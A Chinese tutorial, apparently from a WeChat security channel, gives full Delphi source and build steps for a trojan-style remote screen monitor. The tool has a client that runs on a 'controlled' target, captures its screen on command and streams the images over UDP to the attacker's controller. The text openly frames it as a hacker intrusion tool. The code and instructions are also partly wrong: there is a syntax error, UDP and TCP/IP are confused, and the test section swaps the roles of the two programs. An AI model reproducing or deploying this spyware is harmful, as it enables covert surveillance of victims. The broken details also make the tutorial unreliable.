基于 Delphi 的木马浅析
一次性进群，长期免费索取教程，没有付费教程。
教程列表见微信公众号底部菜单
进微信群回复公众号：微信群；QQ群：16004488
微信公众号：计算机与网络安全
ID：Computer-network
黑客们经常使用一些系统监控工具对目标计算机进行监视，它不仅监视目标计算机重启、关机等操作，还对目标主机日常操作进行设置。要想完全控制目标主机，就应先对其进行监控。本文将介绍通过UDP协议来实现远程监视屏幕的方法，这里使用的不是TCP/IP协议。
UDP（User Datagram Protocol，用户报文协议）是Internet上广泛采用的通信协议之一。它是一种非连接的传输协议，虽然其没有确认机制，可靠性不如TCP，但其效率非常高，适合用于远程屏幕监视。同时，UDP控件不区分服务器端和客户端，只区分发送端和接收端，编程较为简单，可选用UDP协议，使用Delphi提供的TNMUDP控件。
一、实现过程
远程监视屏幕是黑客入侵时所用的工具的一个重要功能，它通常由一个客户端和服务端组成，当目标主机上运行服务端程序时，可使用客户端程序来实现远程监视其屏幕。这里需要使用Delphi语言编写一个装在受控机上发送端程序VClient.exe和一个在主控机上接收端程序VServer.exe。其中VServer.exe指定要监视的受控机的IP地址和在受控机屏幕上抓取区域的大小和位置，并发出屏幕抓取指令给VClient.exe；当VClient.exe得到指令后在受控机屏幕上选取指定区域，生成数据流将其发回主控机，并在主控机上显示抓取区域的BMP图像。
由以上过程可以看出，该方法有两个关键所在：一是如何在受控机上进行屏幕抓取，二是如何通过TCP/IP协议在两台计算机间传输数据。
二、编写发送端程序
在了解远程监视屏幕的具体实现过程后，即可编写发送端程序。具体操作步骤如下。
步骤1：在Delphi中新建一个Name属性为Client的Delphi工程，加入TNMUDP控件，并将其Name属性设为CUDP。
步骤2：将LocalPort属性设为1433，以便让控件CUDP监视受控机的1433端口，当有数据发送到该口时，就会触发CUDP控件中OnDataReceived事件。
步骤3：将RemotePort属性设为1455之后，这样当控件CUDP发送数据时，就会将数据发到主控机的1455端口。
步骤4：在implementation后面加入变量定义如下。
const BufSize=2047;//发送每一条数据的缓冲区大小
var
BmpStream:TMemoryStream;
LeftSize:Longint;// 发送每一条数据后剩余的字节数
步骤5：为Client的OnCreate事件添加相应的动作代码，添加的代码如下。
procedure TClient.FormCreate(Sender: TObject);
begin
BmpStream:=TMemoryStream.Create;
end;
步骤6：为Client的OnDestroy事件添加如下的动作代码。
procedure TClient.FormDestroy(Sender: TObject);
begin
BmpStream.Free;
end;
步骤7：为控件CUDP的OnDataReceived事件添加如下的动作代码。
procedure TClient.CUDPDataReceived (Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
CtrlCode:array[0..29] of char;
Buf:array[0..BufSize-1] of char;
TmpStr:string;
SendSize,LeftPos,TopPos,RightPos,BottomPos:integer;
begin
CUDP.ReadBuffer(CtrlCode,NumberBytes);//读取控制码
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='show' then
begin //控制码前4位为show,表示主控机发出了抓屏指令
if BmpStream.Size=0 then //没有数据可发，必须截屏生成数据
begin
TmpStr:=StrPas(CtrlCode);
TmpStr:=Copy(TmpStr,5,Length(TmpStr)-4);
LeftPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr) -Pos(':',TmpStr));
TopPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)-Pos(':',TmpStr));
RightPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
BottomPos:=StrToInt(Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)-Pos':',TmpStr)));
ScreenCap(LeftPos,TopPos,RightPos,BottomPos); //截取屏幕
end;
if LeftSize>BufSize then SendSize:=BufSize
else SendSize:=LeftSize;
BmpStream.ReadBuffer(Buf,SendSize);
LeftSize:=LeftSize-SendSize;
if LeftSize=0 then BmpStream.Clear; //清空流
CUDP.RemoteHost:=FromIP; // FromIP为主控机IP地址
CUDP.SendBuffer(Buf,SendSize); //将数据发到主控机的1455端口
end;
end;
步骤8：上述ScreenCap是自定义函数，其作用是截取屏幕指定区域，其具体代码如下。
procedure TClient.ScreenCap(LeftPos,TopPos, RightPos,BottomPos:integer);
var
RectWidth,RectHeight:integer;
SourceDC,DestDC,Bhandle:integer;
Bitmap:TBitmap;
begin
RectWidth:=RightPos-LeftPos;
RectHeight:=BottomPos-TopPos;
SourceDC:=CreateDC('DISPLAY','','',nil);
DestDC:=CreateCompatibleDC(SourceDC);
Bhandle:=CreateCompatibleBitmap(SourceDC, RectWidth,RectHeight);
SelectObject(DestDC,Bhandle);
BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC, LeftPos,TopPos,SRCCOPY);
Bitmap:=TBitmap.Create;
Bitmap.Handle:=BHandle;
BitMap.SaveToStream(BmpStream);
BmpStream.Position:=0;
LeftSize:=BmpStream.Size;
Bitmap.Free;
DeleteDC(DestDC);
ReleaseDC(Bhandle,SourceDC);
end;
步骤9：最后将新创建的工程保存为C:VClientClnUnit.pas和C:VClientVClient.dpr，并编译。至此，VClient.exe文件的编制就完成了。
三、编写接收端程序
在发送端文件编写完毕后，就可以开始编写接收端VServer.exe文件了。具体的操作步骤如下。
步骤1：新建一个默认窗体的Name属性为Server的Delphi工程，并加入TNMUDP控件，Name属性设为SUDP。
步骤2：将LocalPort属性设为1455，让控件SUDP监视主控机的1455端口，当有数据发送到该口时，触发控件SUDP的OnDataReceived事件。
步骤3：RemotePort属性设为1433，当控件SUDP发送数据时，将数据发到受控机的1433端口。再在其中加入如下的控件，并设置相应属性。
Image1控件，并将Align属性设为alClient。
Button1控件，并将Caption属性设为“截屏”。
Label1控件，并将Caption属性设为“左：上：右：下”。
Label2控件，并将Caption属性设为“受控机IP地址”。
Edit1控件，并将Text属性设为“0:0:100:100”。
Edit2控件，并将Text属性设为“127.0.0.1”。
步骤4：在implementation后面加入如下变量定义。
const BufSize=2047;
var
RsltStream,TmpStream:TMemoryStream;
步骤5：为Server的OnCreate事件添加如下的动作代码。
procedure TServer.FormCreate(Sender: TObject);
begin
RsltStream:=TMemoryStream.Create;
TmpStream:=TMemoryStream.Create;
end;
步骤6：为Client的OnDestroy事件添加动作代码，添加的动作代码如下。
procedure TServer.FormDestroy(Sender: TObject);
begin
RsltStream.Free;
TmpStream.Free;
end;
步骤7：为控件Button1的OnClick事件添加如下的动作代码。
procedure TServer.Button1Click(Sender: TObject);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='show'+Edit1.Text;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
步骤8：为控件SUDP的OnDataReceived事件添加如下的动作代码。
procedure TServer.SUDPDataReceived(Sender: TComponent; NumberBytes: Integer; FromIP: String);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='show'+Edit1.text;
StrpCopy(ReqCode,ReqCodeStr);
SUDP.ReadStream(TmpStream);
RsltStream.CopyFrom(TmpStream,NumberBytes);
if NumberBytes< BufSize then // 数据已读完
begin
RsltStream.Position:=0;
Image1.Picture.Bitmap.LoadFromStream(RsltStream);
TmpStream.Clear;
RsltStream.Clear;
end
else
begin
TmpStream.Clear;
ReqCode:='show';
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
end;
步骤9：将创建的工程保存为C:VServerSvrUnit.pas和C:VServerVServer.dpr，并对其进行编译。
四、测试程序
在通常情况下，在程序编写完成之后，需要测试编写的程序是否可以实现特定的功能。具体测试方法：在目标计算机中运行VServer.exe程序；选择一台计算机作为主控机，运行VClient.exe并将“受控机IP地址”（即Edit2的内容）设为受控机IP地址，看能否实现截屏。
微信公众号：计算机与网络安全
ID：Computer-network